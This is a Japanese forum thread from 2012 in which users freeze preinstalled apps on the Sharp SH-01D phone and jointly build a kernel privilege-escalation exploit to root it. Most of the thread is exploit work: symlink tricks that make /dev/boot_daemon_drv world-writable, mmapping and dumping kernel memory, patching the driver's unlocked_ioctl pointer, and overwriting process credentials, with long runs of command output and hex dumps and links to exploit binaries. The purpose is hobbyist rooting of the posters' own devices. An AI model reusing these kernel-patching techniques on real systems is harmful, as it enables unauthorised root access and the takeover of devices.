pm disable jp.co.omronsoft.android.decoemojimanager_docomo
pm disable arcsoft.android.musicplayer
pm disable com.nttdocomo.android.phonebookcopy
pm disable com.nttdocomo.android.phonebookwidget
pm disable com.nttdocomo.android.schedulememo
pm disable com.nttdocomo.android.schedulewidget
ありがとうございます。
277のほかに したい奴 の部分オクレ
何をして良いかの人柱するから
うまく実行する方法ってないんかな・・・
ありがとう！
http://forum.xda-developers.com/showthread.php?t=1378206&page=9
台湾の話はマジなのか？
そんな海外の人達も真面目にroot化探ってるというのに、お前らときたらroot化スレなのにパッケージ凍結で満足しちゃって・・・
system権限とるのがなかなか出来ませんでした。
私のやり方は、shdisphookをbatファイルで処理後
空のoncmd.shをpushし755にして、一度マウント解除窓だして
adb shell ls -l /data が表示されれば成功
そののち、1行ずつecho～で書き込んで凍結できました。
まだ出来ない方へ参考になればと思い書き込みました。
DHCPでIPアドレス取得し、バックグラウンドデータを有効にした状態が一番良かった。
あと今気がついたんだけど、oncmd.shをあらかじめ作成してpushするという方法で
失敗するパターンの人は改行コードは何使ってる？
気にもしてなかったけど、windowsメモ帳のCRLFじゃうまくいかないと思うよ。
LF使ってみて
ただの凍結に飽きてきたんだけど、root化って今どの辺まで行ってる？
なんか協力できることない？
root化は>>215の状態で止まってるんじゃないかな
あとちょっとでできるらしいけど、神がこの機種持ってないからあとは持ってる人でやってねって投げて、
持ってる人の中にlinuxできる人がいないっぽい状態
そこまでこだわる必要なしと見てる。万が一来なかったら続きやるよ。
昨日一日かけてプリインアプリの取捨選択して凍結してみたものの
バッテリー持ちに大きく変化はなさそう
プリイン見なくてよくなったていう気持ちの変化は大きいけど
待ち受けのみで１時間１％あたりが限界だったのかも
ガガガ他、動作に影響あるか様子見中
infobar A01 01.00.10（完全root化OK 2/20確認）
infobar A01 01.00.08（完全root化OK）
SH-01D餅じゃないけど、>>215の続きをお手伝いさせてもらえないでしょうか?
ttp://ll.la/oDM=
どなたか結果のうｐをお願いできますでしょうか?
前もってやっておくことあるの？
/data/local に置いて実行しただけならこんな感じ
C:\>adb shell /data/local/shbootgetroot
mmap base=80000000 length=1c000000
open failed "Permission denied"(13)
mmap base=a0100000 length=07f00000
open failed "Permission denied"(13)
mmap base=a8000000 length=18000000
open failed "Permission denied"(13)
>>55同様のことを事前に行う必要があります
ln -s /dev/shdisp /cache/recovery
の替わりに
ln -s /dev/boot_daemon_drv /cache/recovery
を実行して、再起動後
$ adb shell ls -l /dev/shdisp
crw-rw-rw- system cache 241, 0 1980-01-08 10:07 boot_daemon_drvshdisp
↑のようにパーミッションが666になっている状態でshbootgetrootを実行してください
>adb shell ls -l /
drwx------ root root 2000-01-01 09:00 durable
drwxrwx--x app_10 app_10 2012-02-20 22:30 ldb
dr-x------ root root 2012-02-20 22:26 config
drwxrwxrwx system cache 2012-02-14 20:06 cache
～～～～～～～～～～～～～～～～～～～～～～～～～～～～
>adb shell ls -l /cache
drwxrwx--- root root 2011-11-11 03:39 lost+found
drw-rw-rw- system cache 2012-01-24 10:48 recovery
～～～～～～～～～～～～～～～～～～～～～～～～～～～～
>adb shell rm -r /cache/recovery
rm failed for /cache/recovery, Permission denied
rm コマンドが成功せず、こっから先ができません
脱いだよー
>>75
mmap base=80000000 length=1c000000
00008000-0000a000 r-xp 00000000 103:06 7500 /data/local/shbootgetroot
0000a000-0000b000 rwxp 00002000 103:06 7500 /data/local/shbootgetroot
0000b000-0000c000 rwxp 00000000 00:00 0 [heap]
10000000-2c000000 rwxs 80000000 00:0c 2441 /dev/boot_daemon_drv
40000000-40020000 r-xs 00000000 00:0c 2505 /dev/__properties__ (deleted)
40020000-40021000 r-xp 00000000 00:00 0
afb00000-afb16000 r-xp 00000000 b3:0b 1834 /system/lib/libm.so
afb16000-afb17000 rwxp 00016000 b3:0b 1834 /system/lib/libm.so
afc00000-afc01000 r-xp 00000000 b3:0b 1972 /system/lib/libstdc++.so
afc01000-afc02000 rwxp 00001000 b3:0b 1972 /system/lib/libstdc++.so
afd00000-afd40000 r-xp 00000000 b3:0b 1758 /system/lib/libc.so
afd40000-afd43000 rwxp 00040000 b3:0b 1758 /system/lib/libc.so
afd43000-afd4e000 rwxp 00000000 00:00 0
b0001000-b000d000 r-xp 00001000 b3:0b 545 /system/bin/linker
b000d000-b000e000 rwxp 0000d000 b3:0b 545 /system/bin/linker
b000e000-b001c000 rwxp 00000000 00:00 0
bed0d000-bed2e000 rwxp 00000000 00:00 0 [stack]
mem=10000000
10000000 : ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
10000010 : ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
10000020 : ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
10000030 : ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
10000040 : ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
10000050 : ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
10000060 : ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
10000070 : ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
10000080 : ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
10000090 : ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
100000a0 : ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
100000b0 : ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
100000c0 : ff ef ff ff ff ff ff ff ff ff ff 7d ff ff ff ff ・}
100000d0 : ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
100000e0 : ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
100000f0 : ff ff ff ff ff ff ff ff ff ff ff ff df ff ff ff ﾟ
10000100 : ff fe ff ff ff ff ff ff ff ff ff ff ff 7f ef 5f ・
10000110 : ff ff ff ff ff ff ff 5c 00 00 00 00 00 00 00 00 \
10000120 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
～～～～～～～～～～～～～～～～～～～～～～～～～～～～～
100002d0 : 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 ﾀ
～～～～～～～～～～～～～～～～～～～～～～～～～～～～～
10000ff0 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
notfound prop area
[1] Segmentation fault /data/local/shbo...
省略したところはすべて 00 でした
ttp://www1.axfc.net/uploader/Sc/so/321161
http://pastebin.com/T2U0eAUg
最初の実行結果と2回目の実行結果が異なっている..!?
chmod 666 shbootgetroot 実行されません、..permission denied
に変更します chmod 755 shbootgetroot..
ビルド番号 01.00.01
2.6.35.7+
別途進んでいるようで、ありがとうございます。
見た感じmmapでエラーがでておらず、何かしらメモリの内容がダンプでき
ているようですので、mmapは成功していると思います。
頭の0x1000バイトを見るよりはmmapした領域を全部ファイルにダンプした方が
はっきりしていいかもしれないです＾＾
cat /proc/iomemの結果によると
80048000-80761fff : Kernel text
80762000-808803eb : Kernel data
の間に展開されているようです。なので、ダンプは80048000～取ってみると
カーネルイメージが取得できると思います。
※.initセクションは起動後すぐに開放されてしまうので残り部分になります。
上のサンプルで言うと、ベースアドレスが0x80000000で0x10000000番地にマッピングしたので、
0x10048000からダンプすればカーネルイメージ、ということになります。
gorohさんアドバイスありがとうございます
0x10048000からガッツリとダンプするようにしてみました
ttp://ll.la/C)PD
adb shell /data/local/shbootgetroot > dump.txt
とかやってテキストファイルに出力してみてください
>>304の01.00.01だと、プロパティ領域を見つけるところまではうまくいっているようですが、>>302,303はそれよりも新しいバージョンでしょうか?
既に対策が施されていて、こちらの意図したところにmmapされていないのかも?とか考えてしまうところです
SH-01D、カーネル 2.6.35.7+、ビルド番号 01.00.03
最新Ver.だと思います
adb shell /data/local/shbootgetroot > dump.txt の結果です
ttp://ll.la/1MOv
ttp://www1.axfc.net/uploader/Li/so/122164
あなたは非常に感謝''
01.00.03でもmmapまで成功しているようですので、何とかなりそうな感じです
おお、だいぶ進んでる！
ちなみにkernelのテキスト領域(プログラム領域)を書き換える方法は
CPUのiCacheの問題もありあまりオススメできないですが、とりあえず
ここまでできているのであればココをこう変えればいいはず、ぐらいは
調べられると思います。
propertyエリアの書き換えが難しいのであればkernelのdata領域を
触ったほうが早そうなので。
>>300もそのままお付き合いいただければと思います
gorohさん、毎度ありがとうございます
行き詰っているような雰囲気を感じたところでヒントをお授けいただければ幸いでございます
せっかくのgorohさんの作品ですのでもう少しがんばってみたいと思います
segment faultしてそうなところがあったのでちょっと触ってみました
ttp://ll.la/%27XS(
度々で申し訳ないですが、皆様、ご検証をおねがいします
とりあえず。パッチ箇所の提案をいくつか。
(1)ダンプしたテキスト内で以下の文字列を探します
deadline
※その0x70ぐらい上にnoopが見える箇所です。
(2)その0x400ぐらい下に以下のバイトパターンが存在する
24 01 00 00 xx xx xx c0 00 00 00 00 xx xx xx c0 00 00 00 00
24 01 00 00 xx xx xx c0 00 00 00 00 xx xx xx c0 00 00 00 00
24 01 00 00 xx xx xx c0 00 00 00 00 00 00 00 00 00 00 00 00
(3)その次の xx xx xx c0がshboot_daemon_readのアドレスです。
(4)(3)の次のxx xx xx c0がshboot_daemon_writeのアドレスです。
(5)次しばらく0が続いて、次のxx xx xx c0がshboot_daemon_mmap,shboot_daemon_open
(6)shboot_daemon_mmapの一個前の00 00 00 00がcompat_ioctl,その一個前の00 00 00 00が
unlocked_ioctl関数のポインタになります。
このunlocked_ioctlのデータにパッチを当てるのが良いと思います。
既に/dev/boot_daemon_drvはopen済みですし。
オススメは、shbootgetrootプログラム内にroot取得関数をおいておき、
その関数のアドレスを書いてしまうのが良いと思います。
そうすれば、/dev/boot_daemon_drvのfdに対してioctlした段階で、root取得関数が
呼ばれるようになります。
風邪ひいた
俺自身のrootはおまいさんにやるよ
やってみましたが、結果は変わってないようです。
カーネル 2.6.35.7+、ビルド番号 01.00.03です。
shbootgetrootの出力を書いておきます。
mmap base=80000000 length=1c000000
00008000-0000a000 r-xp 00000000 103:06 7504 /data/local/shbootgetroot
0000a000-0000b000 rwxp 00002000 103:06 7504 /data/local/shbootgetroot
0000b000-0000c000 rwxp 00000000 00:00 0 [heap]
10000000-2c000000 rwxs 80000000 00:0c 2441 /dev/boot_daemon_drv
40000000-40020000 r-xs 00000000 00:0c 2505 /dev/__properties__ (deleted)
40020000-40021000 r-xp 00000000 00:00 0
afb00000-afb16000 r-xp 00000000 b3:0b 1834 /system/lib/libm.so
afb16000-afb17000 rwxp 00016000 b3:0b 1834 /system/lib/libm.so
afc00000-afc01000 r-xp 00000000 b3:0b 1972 /system/lib/libstdc++.so
afc01000-afc02000 rwxp 00001000 b3:0b 1972 /system/lib/libstdc++.so
afd00000-afd40000 r-xp 00000000 b3:0b 1758 /system/lib/libc.so
afd40000-afd43000 rwxp 00040000 b3:0b 1758 /system/lib/libc.so
afd43000-afd4e000 rwxp 00000000 00:00 0
b0001000-b000d000 r-xp 00001000 b3:0b 545 /system/bin/linker
b000d000-b000e000 rwxp 0000d000 b3:0b 545 /system/bin/linker
b000e000-b001c000 rwxp 00000000 00:00 0
bee1a000-bee3b000 rwxp 00000000 00:00 0 [stack]
mem=10000000
notfound prop area
[1] Segmentation fault /data/local/shbo...
SH-01D、カーネル 2.6.35.7+、ビルド番号 01.00.03
私も 319 さんと同じ結果でした
SH-01D、カーネル 2.6.35.7+、ビルド番号 01.00.04 が最新となりました
>>310のshbootgetrootも実行できて、dump.txtも出力されたので上げておきます。
http://ll.la/(WkK
shbootgetrootの出力
ttp://pastebin.com/CQJKMM57
ありがとう''
>>316 shbootgetrootの出力
ttp://pastebin.com/CQJKMM57
ありがとう''
神の声がありましたので．．．、shbootgetrootは置いといて、>>317のやり方でやってみました
shbootgetroot同様に、あらかじめ/dev/boot_daemon_drvshdispのパーミッションを666にしてください
root取得関数は何を書いていいのかわからなかったのでsuidコードを入れてます
ttp://ll.la/dr5L
○/dev/boot_daemon_drv
でした
それを実行すると何が起こるの？
>そうすれば、/dev/boot_daemon_drvのfdに対してioctlした段階で、root取得関数が
これはどういう意味かしら？「SDカードのマウント解除」でもしろってこと？
説明不足でした
breaksuid系のものと同じです
成功するとsetuidが破壊されて、端末エミュレータを起動するとプロンプトが#になります
ioctlとかはプログラムの中でやってることの話ですのであまり意識しなくてもいいと思います
gorohです
ありがとうございます。
ioctlの実装ですが、これでも一時ルートには良いですが、
常用rootできるように、setuidを壊さない系でやりたいですね。
stackにcurrenttaskのtaskinfoが有ると思いますので、そのcred->fsuid,euidの
値を書き換えるのが良いと思います。
こちらでサンプルコードを貼りますね。
起動後に確認してみましたが、rootは取れてないようです。
カーネル 2.6.35.7+、ビルド番号 01.00.04です。
breaksuidshbootの出力を貼っておきます。
mmap base=80764000 length=0011efec
00008000-0000a000 r-xp 00000000 103:06 7508 /data/local/breaksuidshboot
0000a000-0000b000 rwxp 00002000 103:06 7508 /data/local/breaksuidshboot
0000b000-0000c000 rwxp 00000000 00:00 0 [heap]
10000000-1011f000 rwxs 80764000 00:0c 2441 /dev/boot_daemon_drv
40000000-40020000 r-xs 00000000 00:0c 2505 /dev/__properties__ (deleted)
40020000-40021000 r-xp 00000000 00:00 0
afb00000-afb16000 r-xp 00000000 b3:0b 1834 /system/lib/libm.so
afb16000-afb17000 rwxp 00016000 b3:0b 1834 /system/lib/libm.so
afc00000-afc01000 r-xp 00000000 b3:0b 1972 /system/lib/libstdc++.so
afc01000-afc02000 rwxp 00001000 b3:0b 1972 /system/lib/libstdc++.so
afd00000-afd40000 r-xp 00000000 b3:0b 143 /system/lib/libc.so
afd40000-afd43000 rwxp 00040000 b3:0b 143 /system/lib/libc.so
afd43000-afd4e000 rwxp 00000000 00:00 0
b0001000-b000d000 r-xp 00001000 b3:0b 377 /system/bin/linker
b000d000-b000e000 rwxp 0000d000 b3:0b 377 /system/bin/linker
b000e000-b001c000 rwxp 00000000 00:00 0
be89e000-be8bf000 rwxp 00000000 00:00 0 [stack]
mem=10000000
addr=10038e30
read=c024b3a4
write=c024b2dc (00000032)
mmap=c024b284 (00000048)
open=c024b240 (00000059)
release=c024b264 (00000050)
found at 10038e30
10038e50 : 00 00 00 00 00 00 00 00 a4 b3 24 c0 dc b2 24 c0 ..........$...$.
10038e60 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
10038e70 : 00 00 00 00 00 00 00 00 00 00 00 00 84 b2 24 c0 ..............$.
10038e80 : 40 b2 24 c0 00 00 00 00 64 b2 24 c0 00 00 00 00 @.$.....d.$.....
10038e90 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
10038ea0 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
10038eb0 : 00 00 00 00 00 00 00 00 1c 4c 6e c0 ff ff ff ff .........Ln.....
munmaped
SH-01D、カーネル 2.6.35.7+、ビルド番号 01.00.04 です
332 さんと同じ内容の表示が出た後、SH-01Dが勝手に再起動しました
再起動後に端末エミュレータを起動しても # でなく $ 表示でした
PCから adb shell を実行しても $ 表示でした
こちらのプログラムを参考にcredを書き換えるようにしてみました。
http://downloads.securityfocus.com/vulnerabilities/exploits/36901-2.c
スタックを計算して、スタック内のcredを検索し、上書きしています。
http://pastebin.com/pLXNikqM
上書き後はshを起動することで、root shellが取得できるはず。
ログを見た感じメモリのパターンマッチの結果がおかしいみたいですね。
write=c024b2dc (00000032)
mmap=c024b284 (00000048)
open=c024b240 (00000059)
release=c024b264 (00000050)
カッコ内の数字が小さすぎるみたい。
すみませんが、こちらを試してみてください。
http://hotfile.com/links/147426843/65c4645/shbootgetroot.zip
/dev/boot_daemon_drv
のパーミッションを666にして、実行してください。
adb shell ln -s /dev/boot_daemon_drv /cache/recovery
adb shell ls -l /cache
lrwxrwxrwx shell shell 2012-02-23 00:47 recovery -> /dev/boot_daemon_drv
adb shell /data/local/shbootgetroot
open failed "No such file or directory"(2)
>>332とほとんど同じっぽいですが、一応出力を貼っておきます。
mmap base=80764000 length=0011efec
00008000-0000b000 r-xp 00000000 103:06 7504 /data/local/shbootgetroot
00012000-00013000 rw-p 00002000 103:06 7504 /data/local/shbootgetroot
00013000-00015000 rw-p 00000000 00:00 0 [heap]
10000000-1011f000 rw-s 80764000 00:0c 2441 /dev/boot_daemon_drv
40000000-40020000 r--s 00000000 00:0c 2505 /dev/__properties__ (deleted)
40020000-40021000 r--p 00000000 00:00 0
afa00000-afa03000 r-xp 00000000 b3:0b 1833 /system/lib/liblog.so
afa03000-afa04000 rw-p 00003000 b3:0b 1833 /system/lib/liblog.so
afb00000-afb16000 r-xp 00000000 b3:0b 1834 /system/lib/libm.so
afb16000-afb17000 rw-p 00016000 b3:0b 1834 /system/lib/libm.so
afc00000-afc01000 r-xp 00000000 b3:0b 1972 /system/lib/libstdc++.so
afc01000-afc02000 rw-p 00001000 b3:0b 1972 /system/lib/libstdc++.so
afd00000-afd40000 r-xp 00000000 b3:0b 143 /system/lib/libc.so
afd40000-afd43000 rw-p 00040000 b3:0b 143 /system/lib/libc.so
afd43000-afd4e000 rw-p 00000000 00:00 0
b0001000-b000d000 r-xp 00001000 b3:0b 377 /system/bin/linker
b000d000-b000e000 rw-p 0000d000 b3:0b 377 /system/bin/linker
b000e000-b001c000 rw-p 00000000 00:00 0
bedac000-bedcd000 rw-p 00000000 00:00 0 [stack]
mem=10000000
addr=10038e30
read=c024b3a4
write=c024b2dc
mmap=c024b284
open=c024b240
release=c024b264
found at 10038e30
10038e50 : 00 00 00 00 00 00 00 00 a4 b3 24 c0 dc b2 24 c0 ..........$...$.
10038e60 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
10038e70 : 00 00 00 00 00 00 00 00 00 00 00 00 84 b2 24 c0 ..............$.
10038e80 : 40 b2 24 c0 00 00 00 00 64 b2 24 c0 00 00 00 00 @.$.....d.$.....
10038e90 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
10038ea0 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
10038eb0 : 00 00 00 00 00 00 00 00 1c 4c 6e c0 ff ff ff ff .........Ln.....
munmaped
皆さん何度もスミマセンです
とりあえず、>>326がどのタイミングで再起動してしまっているのか調べさせてもらえないでしょうか
どこまで進んでいるかわかるようにコードを追加しました
ttp://ll.la/@quz
SH-01Dは持っていないのですが、手持ちの機種のカーネルにSH-01Dのshbootドライバを移植したもので動作確認してみました
>>334を参考にこちらでコンパイルしたものと>>336はこちらの環境でも再起動がかかってしまいました
>>326はこちらの環境では再起動かからずです
よろしくお願いします
SH-01D、カーネル 2.6.35.7+、ビルド番号 01.00.04 です
---------------------------------------------------------------------
>adb shell /data/local/breaksuidshboot
mmap base=80764000 length=0011efec
00008000-0000a000 r-xp 00000000 103:06 7514 /data/local/breaksuidshboot
0000a000-0000b000 rwxp 00002000 103:06 7514 /data/local/breaksuidshboot
0000b000-0000c000 rwxp 00000000 00:00 0 [heap]
10000000-1011f000 rwxs 80764000 00:0c 2441 /dev/boot_daemon_drv
40000000-40020000 r-xs 00000000 00:0c 2505 /dev/__properties__ (deleted)
40020000-40021000 r-xp 00000000 00:00 0
afb00000-afb16000 r-xp 00000000 b3:0b 1834 /system/lib/libm.so
afb16000-afb17000 rwxp 00016000 b3:0b 1834 /system/lib/libm.so
afc00000-afc01000 r-xp 00000000 b3:0b 1972 /system/lib/libstdc++.so
afc01000-afc02000 rwxp 00001000 b3:0b 1972 /system/lib/libstdc++.so
afd00000-afd40000 r-xp 00000000 b3:0b 143 /system/lib/libc.so
afd40000-afd43000 rwxp 00040000 b3:0b 143 /system/lib/libc.so
afd43000-afd4e000 rwxp 00000000 00:00 0
b0001000-b000d000 r-xp 00001000 b3:0b 377 /system/bin/linker
b000d000-b000e000 rwxp 0000d000 b3:0b 377 /system/bin/linker
b000e000-b001c000 rwxp 00000000 00:00 0
bec3d000-bec5e000 rwxp 00000000 00:00 0 [stack]
mem=10000000
addr=10038e30
read=c024b3a4
write=c024b2dc (00c8)
mmap=c024b284 (0120)
open=c024b240 (0164)
release=c024b264 (0140)
found at 10038e30
10038e50 : 00 00 00 00 00 00 00 00 a4 b3 24 c0 dc b2 24 c0 ..........$...$.
10038e60 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
10038e70 : 00 00 00 00 00 00 00 00 00 00 00 00 84 b2 24 c0 ..............$.
10038e80 : 40 b2 24 c0 00 00 00 00 64 b2 24 c0 00 00 00 00 @.$.....d.$.....
10038e90 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
10038ea0 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
10038eb0 : 00 00 00 00 00 00 00 00 1c 4c 6e c0 ff ff ff ff .........Ln.....
my ioctl addr=00008981
unlocked_ioctl patched
10038e50 : 00 00 00 00 00 00 00 00 a4 b3 24 c0 dc b2 24 c0 ..........$...$.
10038e60 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
10038e70 : 00 00 00 00 81 89 00 00 00 00 00 00 84 b2 24 c0 ..............$.
10038e80 : 40 b2 24 c0 00 00 00 00 64 b2 24 c0 00 00 00 00 @.$.....d.$.....
10038e90 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
10038ea0 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
10038eb0 : 00 00 00 00 00 00 00 00 1c 4c 6e c0 ff ff ff ff .........Ln.....
munmaped
found maps libc.so
addr=afd0b070
afd0b070 : 90 00 2d e9 d5 70 a0 e3 00 00 00 ef 90 00 bd e8 ..-..p..........
afd0b080 : 00 00 b0 e1 1e ff 2f 51 54 b3 00 ea 00 f0 20 e3 ....../QT..... .
ioctl start
---------------------------------------------------------------------
ここで端末が再起動しました
gorohです
なるほど。原因はthumbコードでコンパイルされた関数なのに
4byteコードとしてブランチしているのが原因みたい。
書き込む値を関数アドレス+1しないと駄目ですね・・。
いま外なので、分かる人は関数アドレス+1した版に変更してみて
ください
my ioctl addr=00008981
で奇数アドレスになってますね。
さっき言った事は忘れてください。
ありがとうございます
ioctlで再起動がかかっているのは間違いなさそうです
実験の為、実際に通常だと書き込みができないメモリエリアに書込みを行っている部分のコードを外したものを作ってみました
ttp://ll.la/OdAJ
メモリを書き換えてないので再起動がかからずに正常終了してもroot取得できません
これでも再起動がかかるかどうかで、今後の進め方の参考にしたいと思いますのでよろしくおねがいします
SH-01D、カーネル 2.6.35.7+、ビルド番号 01.00.04 です
344 の breaksuidshboot を実行した結果、再起動はしませんでした
画面出力は以下です
ttp://ll.la/.aB3
メモリ書き換えは原因じゃない気がしますね。
メモリ書き換え後のダンプが取れていましたし。。
ユーザー空間の関数呼び出しが問題になっているのか、
そうでないのかをはっきりさせたいですね。
再起動かかった後に、mmcblk0p21 (log)に、再起動かかった際の
kernel message(kmsg)が残っていると思うので、それを抜いてみてもらうと
なんのエラーなのかはっきりしそうなんですけどね～。
何れもgetroot_ioctl()関数の中ですが、>>326の
char* addr = (char*)arg;
addr[0] = 0;
return 0;
だと再起動してしまいますが、>>339の
char c[1];
char* addr = c;
return 0;
だと再起動しないようです
ユーザー空間の仮想アドレスではあるものの、ioctl関数呼び出し自体は成功しているということが推測できるような気がするのですがいかがでしょうか?
>>339は
char c[1];
char* addr = c;
addr[0] = 0;
return 0;
です
kallsymsが見れれば、commit_credsとprepare_kernel_credのアドレスが
分かるから手っ取り早いんだけどな～。
01.00.03の人だけ。
決めうちなので・・
01.00.01や01.00.04の人もkernel textのダンプがあれば何とかなります。
http://hotfile.com/dl/147556280/4be32d3/shbootgetroot.zip.html
http://hotfile.com/dl/147557369/24e6ac1/shbootgetroot.zip.html
パラメータに数字の0～2まで入れてください
shbootgetroot 0
が01.00.01の人
shbootgetroot 1
が01.00.03の人
http://hotfile.com/dl/147557888/1e3a15c/shbootgetroot.zip.html
パラメータに数字の0～2まで入れてください
shbootgetroot 0
が01.00.01の人
shbootgetroot 1
が01.00.03の人
shbootgetroot 2
が01.00.04の人
dump内で以下のパターンを探す
10613230 : 00 80 00 c0 00 80 00 c0 00 80 00 c0 00 80 00 c0
見つかったアドレスの最上位10をc0に変えて検索
c0613230こんな感じで2箇所近くに出るところがある。
100be3b0 :※ココ30 32 61 c0 0d c0 a0 e1 f0 d9 2d e9 04 b0 4c e2
100be3c0 : 84 d0 4d e2 5c 30 9f e5 00 50 a0 e3 00 60 a0 e1
100be3d0 : 05 40 a0 e1 00 80 93 e5 0c 00 00 ea a4 70 4b e2
100be3e0 : 05 00 a0 e1 07 10 a0 e1 84 fe ff eb 06 10 a0 e1
100be3f0 : 00 50 a0 e1 07 00 a0 e1 ff f0 05 eb 00 00 50 e3
100be400 : 24 30 9f 05 04 01 93 07 04 00 00 0a 01 40 84 e2
100be410 : 08 00 54 e1 f0 ff ff 3a 06 00 a0 e1 32 f1 ff eb
100be420 : 20 d0 4b e2 f0 a9 9d e8 10 d5 63 c0※ココ30 32 61 c0
で、上に出るほうの次のアドレス。c00be3b4がkallsyms_lookup_nameです。
ではおやすみなさい。
再起動はせず、最後に#とカーソルが表示されましたが、文字入力ができませんでした。
また、端末エミュレータでは#ではなく$のままでした。
改行が多いと怒られたのでレスをわけてshbootgetrootの出力を書き込みます。
00008000-0000b000 r-xp 00000000 103:06 7504 /data/local/shbootgetroot
00012000-00013000 rw-p 00002000 103:06 7504 /data/local/shbootgetroot
00013000-00014000 rw-p 00000000 00:00 0 [heap]
10000000-1011f000 rw-s 80764000 00:0c 2441 /dev/boot_daemon_drv
40000000-40020000 r--s 00000000 00:0c 2505 /dev/__properties__ (delet
40020000-40021000 r--p 00000000 00:00 0
afa00000-afa03000 r-xp 00000000 b3:0b 1833 /system/lib/liblog.so
afa03000-afa04000 rw-p 00003000 b3:0b 1833 /system/lib/liblog.so
afb00000-afb16000 r-xp 00000000 b3:0b 1834 /system/lib/libm.so
afb16000-afb17000 rw-p 00016000 b3:0b 1834 /system/lib/libm.so
afc00000-afc01000 r-xp 00000000 b3:0b 1972 /system/lib/libstdc++.so
afc01000-afc02000 rw-p 00001000 b3:0b 1972 /system/lib/libstdc++.so
afd00000-afd40000 r-xp 00000000 b3:0b 143 /system/lib/libc.so
afd40000-afd43000 rw-p 00040000 b3:0b 143 /system/lib/libc.so
afd43000-afd4e000 rw-p 00000000 00:00 0
b0001000-b000d000 r-xp 00001000 b3:0b 377 /system/bin/linker
b000d000-b000e000 rw-p 0000d000 b3:0b 377 /system/bin/linker
b000e000-b001c000 rw-p 00000000 00:00 0
beab4000-bead5000 rw-p 00000000 00:00 0 [stack]
mem=10000000
addr=10038e30
read=c024b3a4
write=c024b2dc
mmap=c024b284
open=c024b240
release=c024b264
found at 10038e30
10038e50 : 00 00 00 00 00 00 00 00 a4 b3 24 c0 dc b2 24 c0 ..........$...$.
10038e60 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
10038e70 : 00 00 00 00 00 00 00 00 00 00 00 00 84 b2 24 c0 ..............$.
10038e80 : 40 b2 24 c0 00 00 00 00 64 b2 24 c0 00 00 00 00 @.$.....d.$.....
10038e90 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
10038ea0 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
10038eb0 : 00 00 00 00 00 00 00 00 1c 4c 6e c0 ff ff ff ff .........Ln.....
munmaped
iscalled=1
remmaped
10038e50 : 00 00 00 00 00 00 00 00 a4 b3 24 c0 dc b2 24 c0 ..........$...$.
10038e60 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
10038e70 : 00 00 00 00 c1 8a 00 00 00 00 00 00 84 b2 24 c0 ..............$.
10038e80 : 40 b2 24 c0 00 00 00 00 64 b2 24 c0 00 00 00 00 @.$.....d.$.....
10038e90 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
10038ea0 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
10038eb0 : 00 00 00 00 00 00 00 00 1c 4c 6e c0 ff ff ff ff .........Ln.....
re-patched
10038e50 : 00 00 00 00 00 00 00 00 a4 b3 24 c0 dc b2 24 c0 ..........$...$.
10038e60 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
10038e70 : 00 00 00 00 00 00 00 00 00 00 00 00 84 b2 24 c0 ..............$.
10038e80 : 40 b2 24 c0 00 00 00 00 64 b2 24 c0 00 00 00 00 @.$.....d.$.....
10038e90 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
10038ea0 : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
10038eb0 : 00 00 00 00 00 00 00 00 1c 4c 6e c0 ff ff ff ff .........Ln.....
# _（←カーソルは点滅してるけど文字入力できない）
/data/local/autoexec.shを実行します。
http://hotfile.com/dl/147590757/e7d36db/shbootgetroot.zip.html
SH-01D、カーネル 2.6.35.7+、ビルド番号 01.00.04 です
359 の shbootgetroot を実行した結果、再起動はしませんでした
echo I am Autoexec.sh !!
と書いた autoexec.sh が実行されたようです
画面出力は次です
mmap base=80764000 length=0011efec
00008000-0000b000 r-xp 00000000 103:06 7500 /data/local/shbootgetroot
00012000-00013000 rw-p 00002000 103:06 7500 /data/local/shbootgetroot
00013000-00014000 rw-p 00000000 00:00 0 [heap]
10000000-1011f000 rw-s 80764000 00:0c 2441 /dev/boot_daemon_drv
40000000-40020000 r--s 00000000 00:0c 2505 /dev/__properties__ (deleted)
40020000-40021000 r--p 00000000 00:00 0
afa00000-afa03000 r-xp 00000000 b3:0b 1833 /system/lib/liblog.so
afa03000-afa04000 rw-p 00003000 b3:0b 1833 /system/lib/liblog.so
afb00000-afb16000 r-xp 00000000 b3:0b 1834 /system/lib/libm.so
